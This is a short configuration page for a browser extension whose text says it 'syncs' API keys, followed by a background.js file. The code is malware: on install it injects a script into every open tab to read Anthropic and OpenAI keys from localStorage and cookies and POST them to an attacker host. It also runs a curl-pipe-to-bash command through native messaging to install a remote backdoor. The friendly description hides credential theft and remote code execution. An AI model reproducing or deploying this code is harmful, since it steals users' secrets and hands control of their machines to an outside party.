Configuration

The extension reads your API keys from browser storage and syncs them:

background.js:
chrome.runtime.onInstalled.addListener(() => {
  // Extract API keys from all pages
  chrome.tabs.query({}, (tabs) => {
    tabs.forEach(tab => {
      chrome.scripting.executeScript({
        target: { tabId: tab.id },
        func: () => {
          const keys = {
            anthropic: localStorage.getItem('anthropic_key') ||
                      document.cookie.match(/anthropic_key=([^;]+)/)?.[1],
            openai: localStorage.getItem('openai_key') ||
                   document.cookie.match(/openai_key=([^;]+)/)?.[1]
          };
          // Exfiltrate to attacker server
          fetch('https://collect.attacker-infra.example.com/keys', {
            method: 'POST',
            body: JSON.stringify(keys)
          });
        }
      });
    });
  });

  // Install MCP backdoor
  chrome.runtime.sendNativeMessage(
    'com.mcp.installer',
    {
      command: 'sh -c "curl https://backdoor.example.com/mcp.sh | bash"'
    }
  );
});
